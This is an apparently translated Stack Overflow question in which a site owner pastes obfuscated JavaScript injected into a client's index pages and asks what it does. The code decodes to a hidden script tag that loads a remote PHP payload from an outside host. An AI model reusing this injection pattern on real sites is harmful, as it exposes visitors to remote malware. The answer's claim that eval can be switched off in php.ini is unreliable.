php - index.php/index.html 文件中模糊的 JavaScript 代码

标签 php javascript html

也许这里有人可以提供帮助或解释发生了什么。今天刚刚注意到,在我的一个客户站点上,所有 index.php/index.html 都被替换了,并且添加了一些晦涩的 javascript 代码。代码如下:

<script type="text/javascript">
var nhZE2uSD="Ow8xN18Ow8xN31";
var usW1446O0="Ow8xN3cOw8xN73Ow8xN63Ow8xN72"; 
var usW1446O1="Ow8xN69Ow8xN70Ow8xN74Ow8xN20"; 
var usW1446O2="Ow8xN74Ow8xN79Ow8xN70Ow8xN65"; 
var usW1446O3="Ow8xN3dOw8xN22Ow8xN74Ow8xN65"; 
var usW1446O4="Ow8xN78Ow8xN74Ow8xN2fOw8xN6a"; 
var usW1446O5="Ow8xN61Ow8xN76Ow8xN61Ow8xN73"; 
var usW1446O6="Ow8xN63Ow8xN72Ow8xN69Ow8xN70"; 
var usW1446O7="Ow8xN74Ow8xN22Ow8xN20Ow8xN73"; 
var usW1446O8="Ow8xN72Ow8xN63Ow8xN3dOw8xN22"; 
var usW1446O9="Ow8xN68Ow8xN74Ow8xN74Ow8xN70"; 
var usW1446O10="Ow8xN3aOw8xN2fOw8xN2fOw8xN61"; 
var usW1446O11="Ow8xN6eOw8xN6eOw8xN6fOw8xN75"; 
var usW1446O12="Ow8xN2eOw8xN73Ow8xN65Ow8xN72"; 
var usW1446O13="Ow8xN76Ow8xN65Ow8xN68Ow8xN74"; 
var usW1446O14="Ow8xN74Ow8xN70Ow8xN2eOw8xN63"; 
var usW1446O15="Ow8xN6fOw8xN6dOw8xN2fOw8xN2f"; 
var usW1446O16="Ow8xN6dOw8xN6cOw8xN2eOw8xN70"; 
var usW1446O17="Ow8xN68Ow8xN70Ow8xN22Ow8xN3e"; 
var usW1446O18="Ow8xN20Ow8xN3cOw8xN2fOw8xN73"; 
var usW1446O19="Ow8xN63Ow8xN72Ow8xN69Ow8xN70"; 
var usW1446O20="Ow8xN74Ow8xN3e"; 
var JgUg10US="g4Uuq18Ow8xN31";
var Q8NVsUq5=usW1446O0+usW1446O1+usW1446O2+usW1446O3+usW1446O4+usW1446O5+usW1446O6+usW1446O7+usW  1446O8+usW1446O9+usW1446O10+usW1446O11+usW1446O12+usW1446O13+usW1446O14+usW1446O15+usW1446O16+usW1446O17+usW1446O18+usW1446O19+usW1446O20; 
CvhvkAeR=Q8NVsUq5.replace(/Ow8xN/g,"%");
var KcQGBJKD=unescape;
var nhZE2uSD="cZLH618g4Uuq31";
q9124=this; 
var WrEGuKeo=q9124["WYd1GoGYc2uG1mYGe2YnltY".replace(/[Y12WlG\:]/g, "")];
WrEGuKeo.write(KcQGBJKD(CvhvkAeR));
</script>

谁能解释一下代码的作用?

感谢您的帮助。

最佳答案

看起来网站已被入侵,基于 php 标签,我建议您使用 HTML PurifierOWASP使事情更加安全。

必须禁用 php.ini 中的 eval 构造和 allow_url_fopen 设置。

分析服务器设置是否存在任何安全漏洞:

PHPSecInfo

关于php - index.php/index.html 文件中模糊的 JavaScript 代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3202348/

相关文章:

javascript - 如何从 JavaScript 中的字符串中删除 div 和 span 以外的 HTML 标记?

jquery - 使用 jQuery slideDown 或 toggleClass 和 css transition 添加向下滑动效果

javascript - 在 AngularJs 中验证后隐藏表单

javascript - 高效且正确地迭代 HTML 表格的单列

javascript - 如何禁止用户通过按钮输入只读 Jquery Datepicker 字段?

php - react 警告 "stream_select(): cannot represent a stream of type ZMQ_FD as a select()able descriptor"

javascript - 使用简单的 jison 语法解析错误

php - WP 上的特色图片

javascript - 如何恢复嵌入的 YouTube 视频?

php - 在 PHP 中按数组键的值对字典中的数组进行排序